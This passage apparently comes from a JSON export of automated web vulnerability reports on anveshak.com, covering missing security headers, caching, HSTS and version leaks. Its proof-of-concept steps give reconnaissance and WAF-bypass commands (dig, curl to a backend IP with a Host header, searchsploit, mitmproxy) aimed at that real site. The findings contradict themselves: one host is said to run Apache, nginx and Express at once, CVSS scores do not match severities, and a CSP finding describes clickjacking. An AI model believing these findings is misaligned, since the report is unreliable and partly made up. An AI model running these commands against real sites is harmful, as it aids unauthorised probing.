as admin panels or debug interfaces accessible only after authentication. Using ZAP’s Ajax Spider or similar tools ensures deeper traversal of SPA structures, uncovering otherwise invisible attack surfaces.\n\nCommand-line invocation example:\n```bash\nzap-cli ajax-spider https://anveshak.com/\n```\n\n**Business Impact**\n\nFailing to recognize and adapt scanning methodologies to modern architectures leads to incomplete assessments and undetected vulnerabilities. Proactive recognition helps ensure robust coverage during penetration tests and continuous monitoring workflows.\n\n---\n\n### [Re-examine Cache-control Directives / https://anveshak.com/robots.txt / https://anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/robots.txt |\n\n**Description**\n\nThe `robots.txt` file provides instructions to search engine crawlers about indexing preferences. However, improper caching of this file can lead to outdated directives persisting longer than intended, potentially exposing previously restricted paths or delaying discovery of newly added ones.\n\nMissing or overly permissive cache-control headers here suggest that changes made to crawling permissions may not propagate promptly across distributed networks.\n\n**Attack Scenario (Proof of Concept)**\n\nAn administrator temporarily removes a disallow rule from `robots.txt` to test new functionality. However, due to aggressive upstream caching, search engines continue honoring the old restrictions for hours or days, delaying visibility improvements or exposing unintended crawl behavior.\n\n**Business Impact**\n\nPoor cache management around SEO-critical files affects organic traffic flow and search rankings. It also hinders incident response coordination when trying to quickly remove sensitive URLs from public indexes following breach disclosures.\n\n---\n\n### [Re-examine Cache-control Directives / https://anveshak.com/manifest.json / https://anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**\n\nWeb app manifests define metadata for progressive web apps (PWAs), influencing installation prompts, icons, themes, and startup behaviors. Caching these files improperly can delay propagation of updated branding, navigation flows, or offline capabilities.\n\nLack of explicit cache-control directives suggests reliance on default browser behavior, which varies unpredictably and may hinder timely rollout of PWA enhancements.\n\n**Attack Scenario (Proof of Concept)**\n\nAfter updating the manifest to reflect a new theme color scheme, developers notice inconsistent rendering across devices. Investigation reveals that intermediate caches retain stale versions of `manifest.json`, preventing immediate visual refreshes upon revisiting the site.\n\n**Business Impact**\n\nSuboptimal caching impacts user experience consistency and delays adoption of enhanced mobile functionalities. It also complicates troubleshooting efforts when diagnosing discrepancies between design specs and live implementations.\n\n---\n\n### [Content Security Policy Configuration / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nContent Security Policy (CSP) mitigates cross-site scripting (XSS) and data injection attacks by specifying trusted sources for executable content such as scripts, stylesheets, images, and frames. Absence of CSP leaves the application open to arbitrary script injection and inline execution risks.\n\nHere, the homepage fails to return a valid CSP header, leaving it vulnerable to reflected or stored XSS scenarios that bypass traditional input validation checks.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker injects a malicious script tag into a form field or query parameter:\n```html\n\n```\n\nWithout CSP restrictions, the browser executes the remote script, compromising user sessions or stealing credentials.\n\n**Business Impact**\n\nMissing CSP significantly elevates XSS risk and undermines layered defenses designed to protect against client-side tampering. Regulatory bodies increasingly require CSP implementation as part of baseline cybersecurity frameworks.\n\n---\n\n### [Clickjacking Protection / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nClickjacking occurs when malicious websites embed transparent overlays atop legitimate interfaces, tricking users into performing unintended actions such as clicking buttons or submitting forms unknowingly. The `X-Frame-Options` header restricts framing behavior, limiting the ability of third-party sites to embed protected pages.\n\nIts absence here permits unrestricted embedding, opening avenues for social engineering attacks leveraging deceptive overlays or invisible click traps.\n\n**Attack Scenario (Proof of Concept)**\n\nMalicious site embeds the login form within an iframe:\n```html\n\n
\n```\n\nUser clicks what appears to be a harmless overlay element, but actually triggers authentication submission on the framed page.\n\n**Business Impact**\n\nClickjacking undermines user autonomy and trust, facilitating credential theft, fraudulent transactions, or unauthorized consent grants. Implementing frame-busting headers protects against such deceptive UI manipulations.\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nPreviously addressed in detail, the lack of HSTS on the main landing page constitutes a systemic weakness in enforcing HTTPS connectivity. Despite redirecting users to secure channels initially, failure to establish persistent HTTPS expectations leaves room for downgrade attacks or insecure resource loading.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker modifies DNS entries to point `anveshak.com` toward a rogue server responding exclusively over HTTP. Users visiting the domain for the first time—or after clearing cookies—may connect insecurely before any automatic redirection takes effect.\n\n**Business Impact**\n\nPersistent absence of HSTS weakens cryptographic guarantees and exposes enterprises to regulatory scrutiny regarding data transmission safeguards. Remediation requires careful preloading considerations and gradual rollout planning.\n\n---\n\n### [MIME Type Confusion / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nThis finding mirrors earlier discussions about the missing `X-Content-Type-Options` header. On the main page, the same vulnerability exists, permitting MIME-sniffing behaviors that could misclassify document types and enable unintended execution contexts.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker crafts a response mimicking a benign document format while embedding executable markup. Browsers lacking `X-Content-Type-Options: nosniff` may render the content as HTML or JavaScript, activating embedded payloads.\n\n**Business Impact**\n\nContinued neglect of MIME-type controls increases cumulative XSS risk and diminishes architectural hardening efforts. Consistent application of anti-sniff headers strengthens defense layers and aligns with industry best practices.","summary":{"total":35}},"summary":{"total":35}},{"_id":{"$oid":"6a2ac24222bd14126e6726a7"},"created_at":{"$date":"2026-06-11T14:12:18.423Z"},"url":"https://www.anveshak.com/","tool":"generate_web_vulnerability_report","result":{"url":"https://www.anveshak.com/","category":"web_vulnerability","timestamp":"2026-06-11T14:12:18.418263+00:00","report":"### [Multiple IPs Found / www.anveshak.com / N/A]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe presence of multiple IP addresses associated with the domain `www.anveshak.com` indicates that the application is likely hosted behind a load balancer or distributed across a Content Delivery Network (CDN). This configuration typically improves availability, scalability, and performance. While not inherently insecure, the exposure of these IP addresses can provide reconnaissance value to an attacker seeking to map infrastructure topology or bypass CDN protections.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker may attempt to enumerate backend servers by querying DNS records or performing direct HTTP requests to identified IPs:\n```bash\ndig A AAAA www.anveshak.com +short\n```\nThey might then try connecting directly to individual IPs to bypass WAF rules or rate limits enforced at the edge layer:\n```bash\ncurl -H \"Host: www.anveshak.com\" http://108.158.46.45/\n```\n\n**Business Impact**\nWhile this finding alone poses minimal risk, it enables further reconnaissance efforts that could lead to more targeted attacks. Attackers may discover misconfigured internal services or outdated endpoints not protected by perimeter defenses.\n\n---\n\n### [Re-examine Cache-control Directives / https://www.anveshak.com/ / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe root domain returns responses without explicit cache-control directives. Although acceptable for public-facing sites, improper caching settings may expose sensitive data stored in intermediate caches or local storage.\n\n**Attack Scenario (Proof of Concept)**\nA logged-in user accesses a private dashboard at `/dashboard`. Due to lack of `Cache-Control: no-store`, proxy servers or CDNs retain copies of the page. Later, another user accessing the same endpoint retrieves cached credentials or PII inadvertently left behind.\n\n**Business Impact**\nImproper caching can result in accidental exposure of personal or confidential data, violating privacy regulations such as GDPR or CCPA. Regular audits of cache behavior are essential to prevent unintentional leaks.\n\n---\n\n### [Modern Web Application / https://www.anveshak.com/ / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe application exhibits characteristics typical of modern SPAs (Single Page Applications), including heavy reliance on asynchronous requests and client-side routing. Such architectures benefit from specialized crawling techniques like AJAX spidering for comprehensive testing coverage.\n\n**Attack Scenario (Proof of Concept)**\nStandard crawlers fail to discover hidden routes or dynamically rendered endpoints. Using ZAP’s Ajax Spider reveals previously undetected paths like `/api/user/profile` or `/admin/settings`.\n\n**Business Impact**\nIncomplete discovery leads to gaps in vulnerability scanning and manual testing scope. Ensuring full coverage requires tailored approaches suited to SPA behaviors.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nWithout a properly configured `Content-Security-Policy` header, the application lacks defense-in-depth against XSS and data injection attacks. CSP restricts the origins from which content can be loaded, significantly reducing the impact of client-side vulnerabilities.\n\n**Attack Scenario (Proof of Concept)**\nIf reflected XSS exists on the page:\n```html\n\n```\nAnd there’s no CSP blocking inline execution, the script runs successfully. With proper CSP (`default-src 'self'; script-src 'none'`), the browser blocks the execution entirely.\n\n**Business Impact**\nIncreased likelihood of successful XSS exploits resulting in session hijacking, defacement, redirection to malicious domains, or exfiltration of sensitive user data.\n\n---\n\n### [Missing Anti-clickjacking Header / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe lack of both `X-Frame-Options` and `Content-Security-Policy` with `frame-ancestors` leaves the application susceptible to clickjacking. An attacker can embed the site inside a transparent iframe and overlay deceptive elements to trick users into clicking buttons or links unknowingly.\n\n**Attack Scenario (Proof of Concept)**\nCreate a webpage with an invisible iframe overlay:\n```html\n\n \n Click Me \n
\n```\nWhen the victim clicks the visible button, they actually interact with the framed content beneath.\n\n**Business Impact**\nUsers may be manipulated into performing unintended actions such as submitting forms, changing settings, or authorizing third-party applications—leading to account compromise or fraudulent activity.\n\n---\n\n### [Missing X-Content-Type-Options Header / www.anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe absence of the `X-Content-Type-Options: nosniff` header allows browsers to perform MIME-type sniffing when rendering content. In environments where untrusted input influences file uploads or dynamic responses, this can enable attackers to execute scripts by tricking the browser into interpreting non-script resources as executable code.\n\n**Attack Scenario (Proof of Concept)**\nSuppose an attacker uploads a file named `image.jpg` containing JavaScript but served with `Content-Type: text/plain`. Without `X-Content-Type-Options`, some browsers may interpret and execute the payload if embedded via `\n```\n\n**Business Impact**\nRisk of cross-site scripting (XSS) exploitation even without explicit script injection points, potentially compromising session integrity, stealing sensitive cookies, or redirecting users to phishing sites.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nExternal JavaScript or CSS files included without the `integrity` attribute are vulnerable to tampering. If the CDN or third-party host is compromised, attackers can inject malicious payloads that execute under the origin's context.\n\n**Attack Scenario (Proof of Concept)**\nA script tag referencing an external library:\n```html\n\n```\nIf `example.com` is breached and `library.js` modified, all visitors load the malicious version silently unless SRI is enforced.\n\n**Business Impact**\nPotential compromise of end-user sessions, credential theft, or delivery of malware through supply chain manipulation of externally-hosted assets.\n\n---\n\n### [X-Frame-Options Deprecated / www.anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `X-Frame-Options` header has been deprecated in favor of the `Content-Security-Policy` (CSP) header's `frame-ancestors` directive. Although still widely supported, relying solely on `X-Frame-Options` may result in inconsistent behavior across modern browsers and reduced protection against clickjacking attacks.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker creates a malicious page embedding the vulnerable site within an iframe:\n```html\n\n```\nIf no CSP with `frame-ancestors` is present, older browser versions may allow framing, enabling UI redressing attacks like credential harvesting overlays.\n\n**Business Impact**\nPotential exposure to clickjacking attacks which could manipulate users into performing unintended actions, leading to unauthorized transactions, data leakage, or reputational harm due to compromised user trust.\n\n---\n\n### [Content Security Policy Configuration / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nNo Content Security Policy (CSP) header is present on the homepage. CSP mitigates XSS and data injection risks by restricting sources from which scripts, stylesheets, images, etc., can be loaded.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker injects malicious script tags via reflected input:\n```html\nFree Gift! \n```\nVictims clicking “Free Gift” unknowingly trigger actions on the framed site, such as submitting forms or changing account settings.\n\n**Business Impact**\nClickjacking undermines user autonomy and consent, potentially leading to fraudulent transactions, social engineering outcomes, or reputational harm stemming from manipulated interactions.\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe main landing page fails to implement HSTS, weakening long-term HTTPS adoption guarantees. Browsers cannot enforce secure-only connections without explicit directive signaling.\n\n**Attack Scenario (Proof of Concept)**\nUser types `anveshak.com` into address bar, initiating plaintext HTTP connection. An attacker intercepts initial handshake and redirects them to phishing clone hosted over HTTP, evading certificate validation checks.\n\n**Business Impact**\nMissing HSTS leaves users exposed to downgrade attacks and weakens overall cryptographic assurance model. It hinders compliance with industry best practices around secure communications.\n\n---\n\n### [MIME Type Confusion / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `X-Content-Type-Options` header is not set on the primary domain, permitting MIME-sniffing in legacy browsers. This introduces potential for content-type confusion attacks involving mixed-content delivery.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker uploads a document labeled as PDF but encoded as executable script. Browser interprets it as runnable code instead of displaying it safely due to missing `nosniff` instruction.\n\n**Business Impact**\nIncreased XSS surface area and reduced control over how user-provided content renders. Especially concerning for platforms supporting rich media uploads or collaborative editing features.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `Server` HTTP response header reveals implementation details about the underlying web server software and version. This information assists attackers in fingerprinting systems and targeting known exploits specific to those versions.\n\n**Attack Scenario (Proof of Concept)**\nInspecting response headers:\n```http\nServer: Apache/2.4.41 (Ubuntu)\n```\nAllows an attacker to search for public exploits related to Apache 2.4.41:\n```bash\nsearchsploit apache 2.4.41\n```\n\n**Business Impact**\nFacilitates targeted attacks based on known vulnerabilities tied to specific server versions, increasing the efficiency of automated scanning tools and manual exploitation attempts.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nAbsence of the `Strict-Transport-Security` (HSTS) header means browsers do not enforce HTTPS-only communication after initial contact. This opens possibilities for man-in-the-middle downgrade attacks or cookie hijacking over insecure channels.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker intercepts traffic and forces a connection downgrade:\n```bash\nmitmproxy --mode transparent\n```\nThen redirects the user to `http://www.anveshak.com/login`, exposing credentials in plaintext.\n\n**Business Impact**\nExposure to protocol downgrade attacks, potential session hijacking, and interception of authentication tokens during insecure transitions between HTTP and HTTPS.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nLack of `X-Content-Type-Options: nosniff` permits MIME-sniffing behavior in older browsers, particularly Internet Explorer and Chrome variants. This increases susceptibility to content confusion attacks where benign-looking files are executed as scripts.\n\n**Attack Scenario (Proof of Concept)**\nUpload a file named `document.txt` containing JavaScript:\n```js\nalert(\"Malicious Code Executed\");\n```\nServe it with `Content-Type: text/plain`. Older browsers may still execute it as JavaScript if embedded improperly.\n\n**Business Impact**\nPotential for XSS-like behavior in legacy clients, undermining security assumptions made during development and testing phases.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/favicon-anv.png |\n\n**Description**\nStatic assets also expose server version information via the `Server` header. Even though static content is less critical, consistent disclosure across all endpoints aids comprehensive fingerprinting.\n\n**Attack Scenario (Proof of Concept)**\nRequesting static asset:\n```bash\ncurl -I https://www.anveshak.com/favicon-anv.png\n```\nResponse includes:\n```http\nServer: nginx/1.18.0\n```\nEnables correlation with known vulnerabilities affecting Nginx 1.18.0.\n\n**Business Impact**\nSupports broader reconnaissance campaigns aimed at mapping full technology stack versions, aiding lateral movement and targeted exploitation strategies.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/favicon-anv.png |\n\n**Description**\nEven static assets should enforce HSTS policies to maintain consistency and prevent partial downgrade scenarios. Omission here weakens overall transport security posture.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker manipulates network conditions to force retrieval of static assets over HTTP:\n```bash\ncurl http://www.anveshak.com/favicon-anv.png\n```\nNo HSTS enforcement allows continued insecure access until next HTTPS visit.\n\n**Business Impact**\nPartial weakening of TLS enforcement model, creating opportunities for mixed-content issues and undermining long-term secure browsing habits.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/favicon-anv.png |\n\n**Description**\nStatic image assets lacking `X-Content-Type-Options` remain theoretically exploitable in niche MIME-sniffing contexts, especially if dynamically generated or uploaded.\n\n**Attack Scenario (Proof of Concept)**\nIf favicon generation involves user-controlled inputs:\n```php\n\n```\nAnd served without `nosniff`, crafted input may trigger unexpected interpretation depending on client behavior.\n\n**Business Impact**\nMinimal practical threat but represents inconsistency in defensive posture and potential future vulnerability if processing logic evolves.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nMetadata files like `robots.txt` often receive less scrutiny but still contribute to overall fingerprinting surface area. Consistent version disclosure across all paths enhances attacker situational awareness.\n\n**Attack Scenario (Proof of Concept)**\nAutomated scanner queries common paths:\n```bash\ncurl -I https://www.anveshak.com/robots.txt\n```\nReceives:\n```http\nServer: Apache/2.4.41\n```\nUsed to refine exploit selection criteria.\n\n**Business Impact**\nSupports passive reconnaissance workflows that inform deeper probing and targeted attack planning.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nInconsistent HSTS coverage across all endpoints reduces effectiveness of policy enforcement and introduces gaps in secure transport guarantees.\n\n**Attack Scenario (Proof of Concept)**\nUser accesses `robots.txt` over HTTP:\n```bash\ncurl http://www.anveshak.com/robots.txt\n```\nNo HSTS redirect occurs, allowing persistent insecure access patterns.\n\n**Business Impact**\nUndermines holistic HTTPS adoption goals and introduces variability in security controls applied to different resource types.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nText-based metadata files benefit from MIME-type hardening to avoid misinterpretation in edge cases involving malformed or malicious content.\n\n**Attack Scenario (Proof of Concept)**\nMalformed robots.txt entry triggers parsing anomalies:\n```txt\nUser-agent: *\nDisallow: \n```\nThough unlikely to execute, inconsistent handling across parsers may introduce subtle risks.\n\n**Business Impact**\nNegligible immediate risk but contributes to inconsistent security hygiene practices and potential future vulnerabilities.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nWeb app manifests are increasingly used in progressive web apps (PWAs). Their inclusion in fingerprinting efforts expands the attack surface available for reconnaissance.\n\n**Attack Scenario (Proof of Concept)**\nQuery manifest endpoint:\n```bash\ncurl -I https://www.anveshak.com/manifest.json\n```\nReturns:\n```http\nServer: Express/4.17.1\n```\nUsed to tailor Node.js-specific exploits.\n\n**Business Impact**\nEnhances attacker understanding of backend frameworks and deployment stacks, facilitating precision targeting.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nPWAs rely heavily on secure contexts. Manifest files accessed insecurely may break expected functionality or expose inconsistencies in security policy enforcement.\n\n**Attack Scenario (Proof of Concept)**\nBrowser attempts to fetch manifest over HTTP:\n```bash\ncurl http://www.anveshak.com/manifest.json\n```\nNo HSTS redirect leads to degraded PWA experience or fallback behaviors.\n\n**Business Impact**\nDegraded user experience for PWA features and inconsistent application of security best practices.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nJSON-formatted manifests benefit from explicit MIME-type declarations to ensure correct parsing and reduce ambiguity in client-side interpretation.\n\n**Attack Scenario (Proof of Concept)**\nMalformed manifest causes parser errors:\n```json\n{\n \"name\": \"